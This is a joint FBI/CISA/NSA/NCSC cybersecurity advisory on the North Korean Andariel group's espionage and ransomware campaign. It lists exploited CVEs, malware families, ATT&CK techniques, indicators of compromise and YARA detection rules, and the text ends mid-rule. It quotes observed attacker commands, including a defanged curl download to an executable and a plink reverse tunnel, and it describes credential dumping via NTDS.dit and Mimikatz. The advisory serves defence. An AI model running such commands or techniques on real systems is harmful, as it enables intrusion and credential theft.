JOINT
CYBERSECURITY
ADVISORY

TLP:CLEAR

Product ID: AA24-207A

July 25, 2024

Co-Authored by:

National Cyber Security Centre
a part of GCHQ

North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime's Military and Nuclear Programs

Summary

The U.S. Federal Bureau of Investigation (FBI) and the following authoring partners are releasing this Cybersecurity Advisory to highlight cyber espionage activity associated with the Democratic People's Republic of Korea (DPRK)'s Reconnaissance General Bureau (RGB) 3rd Bureau based in Pyongyang and Sinuiju:

- U.S. Cyber National Mission Force (CNMF)
- U.S. Cybersecurity and Infrastructure Security Agency (CISA)
- U.S. Department of Defense Cyber Crime Center (DC3)
- U.S. National Security Agency (NSA)
- Republic of Korea's National Intelligence Service (NIS)
- Republic of Korea's National Police Agency (NPA)
- United Kingdom's National Cyber Security Centre (NCSC)

The RGB 3rd Bureau includes a DPRK (aka North Korean) state-sponsored cyber group known publicly as Andariel, Onyx Sleet (formerly PLUTONIUM), DarkSeoul, Silent Chollima, and Stonefly/Clasiopa. The group primarily targets defense, aerospace, nuclear, and engineering entities to obtain sensitive and classified

To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA's 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

technical information and intellectual property to advance the regime's military and nuclear programs and ambitions. The authoring agencies believe the group and the cyber techniques remain an ongoing threat to various industry sectors worldwide, including but not limited to entities in their respective countries, as well as in Japan and India. RGB 3rd Bureau actors fund their espionage activity through ransomware operations against U.S. healthcare entities.

The actors gain initial access through widespread exploitation of web servers through known vulnerabilities in software, such as Log4j, to deploy a web shell and gain access to sensitive information and applications for further exploitation. The actors then employ standard system discovery and enumeration techniques, establish persistence using Scheduled Tasks, and perform privilege escalation using common credential stealing tools such as Mimikatz. The actors deploy and leverage custom malware implants, remote access tools (RATs), and open source tooling for execution, lateral movement, and data exfiltration.

The actors also conduct phishing activity using malicious attachments, including Microsoft Windows Shortcut File (LNK) files or HTML Application (HTA) script files inside encrypted or unencrypted zip archives.

The authoring agencies encourage critical infrastructure organizations to apply patches for vulnerabilities in a timely manner, protect web servers from web shells, monitor endpoints for malicious activities, and strengthen authentication and remote access protections. While not exclusive, entities involved in or associated with the below industries and fields should remain vigilant in defending their networks from North Korea state-sponsored cyber operations.

For additional information on DPRK state-sponsored malicious cyber activity, see CISA's North Korea Cyber Threat Overview and Advisories webpage.

For a downloadable copy of associated indicators of compromise (IOCs), see:

- AA24-207A STIX XML (297KB)
- AA24-207A STIX JSON (141KB)

Table of Contents

Technical Details

RGB 3rd Bureau

Andariel (also known as Onyx Sleet, formerly PLUTONIUM, DarkSeoul, Silent Chollima, and Stonefly/Clasiopa) is a North Korean state-sponsored cyber group, under the RGB 3rd Bureau, based in Pyongyang and Sinuiju. The authoring agencies assess the group has evolved from conducting destructive attacks targeting U.S. and South Korean organizations to conducting specialized cyber espionage and ransomware operations.

Cyber Espionage

The actors currently target sensitive military information and intellectual property of defense, aerospace, nuclear, engineering organizations. To a lesser extent, the group targets medical and energy industries. See Table 1 for more victimology information.

Table 1. Andariel Cyber Espionage Victimology

Industry	Information Targeted
Defense	▪ Heavy and light tanks and self-propelled howitzers ▪ Light strike vehicles and ammunition supply vehicles ▪ Littoral combat ships and combatant craft ▪ Submarines, torpedoes, unmanned underwater vehicles (UUVs), and autonomous underwater vehicles (AUVs) ▪ Modeling and simulation services
Aerospace	▪ Fighter aircraft and unmanned aerial vehicles (UAVs) ▪ Missiles and missile defense systems ▪ Satellites, satellite communications, and nano-satellite technology ▪ Surveillance radar, phased-array radar, and other radar systems
Nuclear	▪ Uranium processing and enrichment ▪ Material waste and storage ▪ Nuclear power plants ▪ Government nuclear facilities and research institutes
Engineering	▪ Shipbuilding and marine engineering ▪ Robot machinery and mechanical arms ▪ Additive manufacturing and 3D printing components and technology ▪ Casting, fabrication, high-heat metal molding, and rubber and plastic molding ▪ Machining processes and technology

The information targeted—such as contract specifications, bills of materials, project details, design drawings, and engineering documents—has military and civilian applications and leads the authoring

agencies to assess one of the group's chief responsibilities is satisfying collection requirements for Pyongyang's nuclear and defense programs.

Ransomware

Andariel actors fund their espionage activity through ransomware operations against U.S. healthcare entities, and in some instances, the authoring agencies have observed the actors launching ransomware attacks and conducting cyber espionage operations on the same day and/or leveraging ransomware and cyber espionage against the same entity. For more information on this ransomware activity, see joint advisories #StopRansomware: Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities and North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector.

Malicious Cyber Espionage Activity

This advisory uses the MITRE ATT&CK for Enterprise framework, version 15. See the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques.

Reconnaissance and Enumeration

While there is limited available information on the group's initial reconnaissance methods, the actors likely identify vulnerable systems using publicly available internet scanning tools that reveal information such as vulnerabilities in public-facing web servers [T1595, T1592]. The actors gather open source information about their victims for use in targeting [T1591] and research Common Vulnerabilities and Exposures (CVEs) when published to the National Institute of Standards and Technology (NIST) National Vulnerability Database [T1596]. CVEs researched include:

- CVE-2023-46604 – Apache ActiveMQ
- CVE-2023-42793 – TeamCity
- CVE-2023-3519 – Citrix NetScaler
- CVE-2023-35078 – Ivanti Endpoint Manager Mobile (EPMM)
- CVE-2023-34362 – MOVEIt
- CVE-2023-33246 – RocketMQ
- CVE-2023-32784 – KeePass
- CVE-2023-32315 – Openfire
- CVE-2023-3079 – Google Chromium V8 Type Confusion
- CVE-2023-28771 and CVE-2023-33010 – Zyxell firmware
- CVE-2023-2868 – Barracuda Email Security Gateway
- CVE-2023-27997 – FortiGate SSL VPN
- CVE-2023-25690 – Apache HTTP Server
- CVE-2023-21932 – Oracle Hospitality Opera 5
- CVE-2023-0669 – GoAnywhere MFT
- CVE-2022-47966 – ManageEngine

- CVE-2022-41352 and CVE-2022-27925 – Zimbra Collaboration Suite
- CVE-2022-30190 – Microsoft Windows Support Diagnostic Tool
- CVE-2022-25064 – TP-LINK
- CVE-2022-24990 and CVE-2021-45837 – TerraMaster NAS
- CVE-2022-24785 – Moment.js
- CVE-2022-24665, CVE-2022-24664, and CVE-2022-24663 – PHP Everywhere
- CVE-2022-22965 – Spring4Shell
- CVE-2022-22947 – Spring Cloud Gateway
- CVE-2022-22005 – Microsoft SharePoint Server
- CVE-2022-21882 – Win32k Elevation of Privilege
- CVE-2021-44228 – Apache Log4j
- CVE-2021-44142 – Samba vfs_fruit module
- CVE-2021-43226, CEV-2021-43207, CVE-2021-36955 – Windows log file vulnerabilities
- CVE-2021-41773 – Apache HTTP Server 2.4.49
- CVE-2021-40684 – Talend ESB Runtime
- CVE-2021-3018 – IPeakCMS 3.5
- CVE-2021-20038 – SMA100 Apache httpd server (SonicWall)
- CVE-2021-20028 – SonicWall Secure Remote Access (SRA)
- CVE-2019-15637 – Tableau
- CVE-2019-7609 – Kibana
- CVE-2019-0708 – Microsoft Remote Desktop Services
- CVE-2017-4946 – VMware V4H and V4PA

Resource Development, Tooling, and Remote Access Tools

The actors leverage custom tools and malware for discovery and execution. Over the last 15 years, the group has developed RATs, including the following, to permit remote access and manipulation of systems and lateral movement.

- Atharvan
- ELF Backdoor
- Jupiter
- MagicRAT
- “No Pineapple”
- TigerRAT
- Valefor/VSingle
- ValidAlpha
- YamaBot
- NukeSped
- Goat RAT
- Black RAT
- AndarLoader
- DurianBeacon
- Trifaux
- KaosRAT
- Preft
- Andariel Scheduled Task Malware

- BottomLoader (see Cisco Talos blog Operation Blacksmith)
- NineRAT (see Cisco Talos blog Operation Blacksmith)
- DLang (see Cisco Talos blog Operation Blacksmith)
- Nestdoor (see AhnLab blog)

These tools include functionality for executing arbitrary commands, keylogging, screenshots, listing files and directories, browser history retrieval, process snooping, creating and writing to files, capturing network connections, and uploading content to command and control (C2) [T1587.001, T1587.004]. The tools allow the actors to maintain access to the victim system with each implant having a designated C2 node.

Commodity Malware and Dual-Use Applications

Commodity malware is malicious software widely available for purchase or use and is leveraged by numerous different threat actors. Dual-use applications are software tools widely available for purchase or use that are commonly utilized by administrators and users for system administration or other legitimate purposes and also by threat actors for malicious activities. These dual-use applications may reside locally, known as Living Off the Land (LOTL) tools, or be transferred to the target system during the attack. The use of publicly available malware and dual-use applications enables the actors to conceal and obfuscate their identities and leads to attribution problems. The authoring agencies are reliant on the use of custom malware and loaders, along with overlapping C2 nodes to attribute commodity malware to the actors. The actors have at times achieved great success obfuscating their identities by leveraging open source malware or dual-use applications. The authoring agencies have identified the following open source and dual-use tools as used and/or customized by the actors:

- 3Proxy [T1090]
- AdFind [S0552]
- AsyncRAT
- DeimosC2
- Impacket [T1090]
- Juggernaut [T1040]
- Lilith RAT
- ORVX Web Shell
- Mimikatz [S0002]
- PLINK [T1572]
- ProcDump [T1003]
- PuTTY [T1572]
- SOCKS5 [T1090]
- Stunnel [T1572]
- Web Shell by Orb (WSO)
- WinRAR [T1560]
- WinSCP [T1048]
- RDP Wrapper [T1572]

Initial Access

The actors gain initial access through widespread exploitation of web servers through known vulnerabilities, such as CVE-2021-44228 (“Log4Shell”) in Apache’s Log4j software library and other CVEs listed above, to deploy web shells and gain access to sensitive information and applications for further exploitation. The actors continue to breach organizations by exploiting web server vulnerabilities in public-facing devices and have conducted widespread activity against a number of different organizations simultaneously [T1190].

Execution

The actors are well-versed in using native tools and processes on systems, known as living off the land (LOTL). They use Windows command line, PowerShell, Windows Management Instrumentation command line (WMIC), and Linux bash for system, network, and account enumeration. While individual commands typically vary, the authoring agencies assess the actors prefer `netstat` commands, such as `netstat –naop` and `netstat –noa` [T1059]. Example commands used by the actors include the following:

- netstat –naop
- netstat –noa
- pvhost.exe -N -R [IP Address]:[Port] -P [Port] -l [username] -pw [password] <Remote_IP>
- curl hxxp[://][IP Address]/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe
- C:\windows\system32\cmd.exe /c systeminfo | findstr Logon

These actors often make typos and other mistakes, indicating that the commands are not directly copied from a playbook and the actors have a flexible and impromptu approach. The typos also illustrate a poor grasp of the English language, including common errors such as “Microsoft Cooperation” (rather than “Microsoft Corporation”) found across numerous RGB 3rd Bureau malware samples.

Defense Evasion

The actors routinely pack late-stage tooling in VMProtect and Themida. Malicious tooling packed with these and other commercial tools have advanced anti-debugging and detection capabilities. These files are typically multiple megabytes in size and often contain unusual file section names such as `vmp0` and `vmp1` for VMProtect and Themida or randomized file section names for Themida [T1027].

Credential Access

The actors employ a multi-pronged approach to stealing credentials to gain additional access to systems, including the use of publicly available credential theft utilities and dual-use tools such as Mimikatz, Dumpert, and ProcDump, and accessing the Active Directory domain database through targeting of the `NTDS.dit` file. The authoring agencies assess the actors change settings on compromised systems to force the system to store credentials and then use the aforementioned tools to steal credentials. In one instance, the actors used the `vssadmin` command-line utility to back up a volume to retrieve a copy of the `NTDS.dit` file containing Active Directory data. In another instance, the actors were observed collecting registry hive data for offline extraction of credentials [T1003].

Discovery

The actors used customized file system enumeration tooling written in .NET. The tool is capable of receiving and executing command line arguments to enumerate directories and files and compress output files. The tool collects the following information for each drive targeted on a system: depth relative to starting path, name, last write time, last access time, creation time, size, and attributes [T1087, T1083].

The actors also enumerate directories and files of connected devices using Server Message Block (SMB) protocol, which enables network file sharing and the ability to request services and programs from a network [T1021.002].

Lateral Movement

The actors also use system logging for discovery to move laterally. The group logs active window changes, clipboard data, and keystrokes and saves the collected logging information to the `%Temp%` directory.

The actors have also used Remote Desktop Protocol (RDP) to move laterally [T1021].

Command and Control

The actors leverage techniques and infrastructure positioned around the world to send commands to compromised systems. The actors disguise their malware within HTTP packets to appear as benign network traffic. They also use tunneling tools such as 3Proxy, PLINK, and Stunnel as well as custom proxy tunneling tools to tunnel traffic over a variety of protocols from inside a network back to a C2 server. Tunneling enables the actors to perform C2 operations despite network configurations that would typically pose a challenge, such as the use of Network Address Translation (NAT) or traffic funneled through a web proxy [T1090, T1071].

Collection and Exfiltration

Malware previously used by the actors permitted placement and access to search through files that could be of interest, including scanning computer files for keywords related to defense and military sectors in English and Korean. The actors identify data for theft by enumerating files and folders across many directories and servers using command-line activity or functionality built into custom tools. The actors collect the relevant files into RAR archives, sometimes using a version of WinRAR brought into the victim's environment with other malicious tooling [T1560, T1039].

The actors typically exfiltrate data to web services such as cloud storage or servers not associated with their primary C2. Notably, the actors have been observed logging into actor-controlled cloud-based storage service accounts directly from victim networks to exfiltrate data [T1567]. The actors have also been observed using the utilities PuTTY and WinSCP to exfiltrate data to North Korea-controlled servers via File Transfer Protocol (FTP) and other protocols [T1048].

The actors have also been identified staging files for exfiltration on victim machines, establishing Remote Desktop Protocol connections, and conducting `HTTP GET` requests on port `80` to receive information [T1021].

Indicators of Compromise

See below for Andariel IOCs.

The following include observed MD5 hashes:

- 88a7c84ac7f7ed310b5ee791ec8bd6c5
- 6ab4eb4c23c9e419fbba85884ea141f4
- 97ce00c7ef1f7d98b48291d73d900181
- 079b4588eaa99a1e802adf5e0b26d8aa

- 0873b5744d8ab6e3fe7c9754cf7761a3
- 0d696d27bae69a62def82e308d28857a
- 0ecf4bac2b070cf40f0b17e18ce312e6
- 17c46ed7b80c2e4dbea6d0e88ea0827c
- 1f2410c3c25dadf9e0943cd634558800
- 2968c20a07cfc97a167aa3dd54124cda
- 33e85d0f3ef2020cdb0fc3c8d80e8e69
- 4118d9adce7350c3eedeb056a3335346
- 4aa57e1c66c2e01f2da3f106ed2303fa
- 58ad3103295afcc22bde8d81e77c282f
- 5c41cbf8a7620e10f158f6b70963d1cb
- 61a949553d35f31957db6442f36730c5
- 72a22afde3f820422cfdbba7a4cbabde
- 84bd45e223b018e67e4662c057f2c47e
- 86465d92f0d690b62866f52f5283b9fc
- 8b395cc6ecdec0900facf6e93ec48fbb
- 97f352e2808c78eef9b31c758ca13032
- a50f3b7aa11b977ae89285b60968aa67
- afd25ce56b9808c5ed7eade75d2e12a7
- afdeb24975a318fc5f20d9e61422a308
- b697b81b341692a0b137b2c748310ea7
- bcac28919fa33704a01d7a9e5e3ddf3f
- c027d641c4c1e9d9ad048cda2af85db6
- c892c60817e6399f939987bd2bf5dee0
- cdeae978f3293f4e783761bc61b34810
- d0f310c99476f1712ac082f78dd29fdc
- d8da33fae924b991b776797ba8cde24c
- e230c5728f9ea5a94e390e7da7bf1ffa
- f4d46629ca15313b94992f3798718df7
- fb84a392601fc19aeb7f8ce11b3a4907
- ff3194d3d5810a42858f3e22c91500b1
- 13b4ce1fc26d400d34ede460a8530d93
- 41895c5416fdc82f7e0babc6bb6c7216
- c2f8c9bb7df688d0a7030a96314bb493
- 33a3da2de78418b89a603e28a1e8852c
- 4896da30a745079cd6265b6332886d45
- 73eb2f4f101aab6158c615094f7a632a
- 7f33d2d2a2ce9c195202acb59de31eee
- e1afd01400ef405e46091e8ef10c721c
- fe25c192875ec1914b8880ea3896cda2
- 232586f8cfe82b80fd0dfa6ed8795c56
- c1f266f7ec886278f030e7d7cd4e9131
- 49bb2ad67a8c5dfbfe8db2169e6fa46e
- beb199b15bd075996fa8d6a0ed554ca8
- 4053ca3e37ed1f8d37b29eed61c2e729
- 3a0c8ae783116c1840740417c4fbe678
- 0414a2ab718d44bf6f7103cff287b312
- ca564428a29faf1a613f35d9fa36313f
- ad6d4eb34d29e350f96dc8df6d8a092e
- dc70dc9845aa747001ebf2a02467c203
- 3d2ec58f37c8176e0dbcc47ff93e5a76
- 0a09b7f2317b3d5f057180be6b6d0755
- 1ffccc23fef2964e9b1747098c19d956
- 9112efb49cae021abebd3e9a564e6ca4
- ac0ada011f1544aa3a1cf27a26f2e288
- 0211a3160cc5871cbcd4e5514449162b
- 7416ea48102e2715c87edd49ddbd1526
- a2aefb7ab6c644aa8eeb482e27b2dbc4
- e7fd7f48fbf5635a04e302af50dfb651
- 33b2b5b7c830c34c688cf6ced287e5be
- e5410abaaac69c88db84ab3d0e9485ac
- eb35b75369805e7a6371577b1d2c4531
- 5a3f3f75048b9cec177838fb8b40b945
- 9d7bd0caed10cc002670faff7ca130f5
- 8434cdd34425916be234b19f933ad7ea
- bbaee4fe73ccff1097d635422fdc0483
- 79e474e056b4798e0a3e7c60dd67fd28
- 95c276215dcc1bd7606c0cb2be06bf70
- 426bb55531e8e3055c942a1a035e46b9
- cfae52529468034dbbb40c9a985fa504

- deae4be61c90ad6d499f5bdac5dad242
- bda0686d02a8b7685adf937cbcd35f46
- 6de6c27ca8f4e00f0b3e8ff5185a59d1
- c61a8c4f6f6870c7ca0013e084b893d2
- 5291aed100cc48415636c4875592f70c
- f4795f7aec4389c8323f7f40b50ae46f
- cf1a90e458966bcba8286d46d6ab052c
- 792370eb01e16ac3dc511143932d0e1d
- 612538328e0c4f3e445fb58ef811336a
- 9767aa592ec2d6ae3c7d40b6049d0466
- b22fd0604c4f189f2b7a59c8f48882dd
- e53ca714787a86c13f07942a56d64efa
- c7b09f1dd0a5694de677f3ecceda41b7
- c8346b39418f92725719f364068a218d
- 730bff14e80ffd7737a97cdf11362ab5
- 9a481bc83fea1dea3e3bdfff5e154d44
- ddb1f970371fa32faae61fc5b8423d4b
- 6c2b947921e7c77d9af62ce9a3ed7621
- 977d30b261f64cc582b48960909d0a89
- 7ce51b56a6b0f8f78056ddfc5b5de67c
- dd9625be4a1201c6dfb205c12cf3a381
- ecb4a09618e2aba77ea37bd011d7d7f7
- 0fd8c6f56c52c21c061a94e5765b27b4
- c90d094a8fbeaa8a0083c7372bfc1897
- 0055a266aa536b2fdadb3336ef8d4fba
- 55bb271bbbf19108fec73d224c9b4218
- 0c046a2f5304ed8d768795a49b99d6e4
- f34664e0d9a10974da117c1ca859dba8
- a2c2099d503fcc29478205f5aef0283b
- e439f850aa8ead560c99a8d93e472225
- 7c30ed6a612a1fd252565300c03c7523
- 81738405a7783c09906da5c7212e606b
- c027d641c4c1e9d9ad048cda2af85db6
- eb7ba9f7424dffdb7d695b00007a3c6d
- 3e9ee5982e3054dc76d3ba5cc88ae3de
- 073e3170a8e7537ff985ec8316319351
- 9b0e7c460a80f740d455a7521f0eada1
- 2d02f5499d35a8dffb4c8bc0b7fec5c2
- 0984954526232f7d05910aa5b07c5893
- 4156a7283284ece739e1bae05f99e17c
- 3026d419ee140f3c6acd5bff54132795
- 7aa132c0cc63a38fb4d1789553266fc7
- 1a0811472fad0ff507a92c957542fffd
- f8aef59d0c5afe8df31e11a1984fbc0a
- 82491b42b9a2d34b13137e36784a67d7
- 0a199944f757d5615164e8808a3c712a
- 9c97ea18da290a6833a1d36e2d419efc
- 16f768eac33f79775a9672018e0d64f5

The following include observed SHA-256 hashes:

- ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6
- db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984
- 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df
- 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d
- e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe
- 1962ebb7bf8d2b306c6f3b55c3dcd69a755eeff1a17577b7606894b781841c3a
- f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
- 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
- b7435d23769e79fcbe69b28df4aef062685d1a631892c2354f96d833eae467be
- 66415464a0795d0569efa5cb5664785f74ed0b92a593280d689f3a2ac68dca66

- def2f01fbd4be85f48101e5ab7ddd82efb720e67daa6838f30fd8dcda1977563
- 323cbe7a3d050230cfaa822c2a22160b4f8c5fe65481dd329841ee2754b522d9
- 74529dd15d1953a47f0d7ecc2916b2b92865274a106e453a24943ca9ee434643
- 1e4de822695570421eb2f12fdfe1d32ab8639655e12180a7ab3cf429e7811b8f
- 8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5
- c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f
- dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469
- 90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4
- 452ca47230afd4bb85c45af54fcacbfa544208ef8b4604c3c5caefe3a64dcc19
- 199ba618efc6af9280c5abd86c09cdf2d475c09c8c7ffc393a35c3d70277aed1
- 2eb16dbc1097a590f07787ab285a013f5fe235287cb4fb948d4f9cce9efa5dbc
- ce779e30502ecee991260fd342cc0d7d5f73d1a070395b4120b8d300ad11d694
- db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984
- c28bb61de4a6ad1c5e225ad9ec2eaf4a6c8ccfff40cf45a640499c0adb0d8740
- 34d5a5d8bec893519f204b573c33d54537b093c52df01b3d8c518af08ee94947
- 664f8d19af3400a325998b332343a9304f03bab9738ddab1530869eff13dae54
- 772b06f34facf6a2ce351b8679ff957cf601ef3ad29645935cb050b4184c8d51
- aa29bf4292b68d197f4d8ca026b97ec7785796edcb644db625a8f8b66733ab54
- 9a5504dcfb7e664259bfa58c46cfd33e554225daf1cedea2ec2a9d83bbbfe238
- c2500a6e12f22b16e221ba01952b69c92278cd05632283d8b84c55c916efe27c
- 8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b
- 38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07

The following include a list of user agent strings used by the actors:

- Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
- Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0
- Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
- Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
- Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0

- Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0

Detection Methods

See Table 2 for YARA rules, created by the FBI, authoring partners, and private industry, that can be used to detect malware used by the actors.

Table 2. YARA Rules

```
rule Andariel_ScheduledTask_Loader
{
   strings:
      $obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00
00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00
00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8
02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A
FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 }
                  $obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20
9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00
00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 }
                  $obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20
9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00
00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B
C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44
04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8
01 00 00 00 }
   condition:
      uint16(0) == 0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3
}
```

```
rule Andariel_KaosRAT_Yamabot
{

   strings:
      $str1 = "/kaos/"
      $str2 = "Abstand ["
      $str3 = "] anwenden"
      $str4 = "cmVjYXB0Y2hh"
      $str5 = "/bin/sh"
      $str6 = "utilities.CIpaddress"
      $str7 = "engine.NewEgg"
      $str8 = "%s%04x%s%s%s"
      $str9 = "Y2FwdGNoYV9zZXNzaW9u"
      $str10 = "utilities.EierKochen"
      $str11 = "kandidatKaufhaus"

   condition:
      3 of them
}
```

```
rule TriFaux_EasyRAT_JUPITER
{
   strings:
```

```
        $InitOnce = "InitOnceExecuteOnce"
        $BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D
00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00
2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A }
                        $Bytes =
"4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00," wide
    condition:
        uint16(0) == 0x5a4d and all of them
}
```

```
rule Andariel_CutieDrop_MagicRAT
{
            strings:
                        $config_os_w = "os/windows" ascii wide
                        $config_os_l = "os/linux" ascii wide
                        $config_os_m = "os/mac" ascii wide
                        $config_comp_msft = "company/microsoft" ascii wide
                        $config_comp_orcl = "company/oracle" ascii wide
                        $POST_field_1 = "session=" ascii wide
                        $POST_field_2 = "type=" ascii wide
                        $POST_field_3 = "id=" ascii wide
                        $command_misspelled = "renmae" ascii wide
            condition:
                        uint16(0) == 0x5a4d and 7 of them
```

```
rule Andariel_hhsd_FileTransferTool
{

    strings:
        // 30 4D C7                xor     [rbp+buffer_v41+3], cl
        // 81 7D C4 22 C0 78 00    cmp     dword ptr [rbp+buffer_v41], 78C022h
        // 44 88 83 00 01 00 00    mov     [rbx+100h], r8b
        $handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 }

        // B1 14                   mov     cl, 14h
        // C7 45 F7 14 00 41 00    mov     [rbp+57h+Src], 410014h
        // C7 45 FB 7A 00 7F 00    mov     [rbp+57h+var_5C], 7F007Ah
        // C7 45 FF 7B 00 63 00    mov     [rbp+57h+var_58], 63007Bh
        // C7 45 03 7A 00 34 00    mov     [rbp+57h+var_54], 34007Ah
        // C7 45 07 51 00 66 00    mov     [rbp+57h+var_50], 660051h
        // C7 45 0B 66 00 7B 00    mov     [rbp+57h+var_4C], 7B0066h
        // C7 45 0F 66 00 00 00    mov     [rbp+57h+var_48], 66h ; 'f'
        $err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 }

        // 41 02 D0                add     dl, r8b
        // 44 02 DA                add     r11b, dl
        // 3C 1F                   cmp     al, 1Fh
        $buf_add_cmp_1f = { 4? 02 ?? 4? 02 ?? 3? 1F }
```

```
        // B9 8D 10 B7 F8          mov     ecx, 0F8B7108Dh
        // E8 F1 BA FF FF          call    sub_140001280
        $hash_call_loadlib = { B? 8D 10 B7 F8 E8 }
        $hash_call_unk = { B? 91 B8 F6 88 E8 }

    condition:
        uint16(0) == 0x5a4d and
```

```
        (any of ($handshake, $err_xor_str, $buf_add_cmp_1f) and any of ($hash_call_*)) or
        2 of ($handshake, $err_xor_str, $buf_add_cmp_1f)
```

```
rule Andariel_Atharvan_3RAT
{
strings:
$3RAT = "D:\\rang\\TOOL\\3RAT"
$atharvan = "Atharvan_dll.pdb"
condition:
uint16(0) == 0x5a4d and any of them
}
```

```
rule Andariel_LilithRAT_Variant
{
    strings:
        // The following are strings seen in the open source version of Lilith
        $lilith_1 = "Initiate a CMD session first." ascii wide
        $lilith_2 = "CMD is not open" ascii wide
        $lilith_3 = "Couldn't write command" ascii wide
        $lilith_4 = "Couldn't write to CMD: CMD not open" ascii wide

        // The following are strings that appear to be unique to the Unnamed Trojan based on Lilith
        $unique_1 = "Upload Error!" ascii wide
        $unique_2 = "ERROR: Downloading is already running!" ascii wide
        $unique_3 = "ERROR: Unable to open file:" ascii wide
        $unique_4 = "General error" ascii wide
        $unique_5 = "CMD error" ascii wide
        $unique_6 = "killing self" ascii wide
    condition:
        uint16(0) == 0x5a4d and filesize < 150KB and all of ($lilith_*) and 2 of ($unique_*)
}
```

```
rule Andariel_SocksTroy_Strings_OpCodes
{
      strings:
        $strHost = "-host" wide
        $strAuth = "-auth" wide
        $SocksTroy = "SocksTroy"
        $cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B }
    condition:
        uint16(0) == 0x5a4d and
        ((1 of ($str*)) and
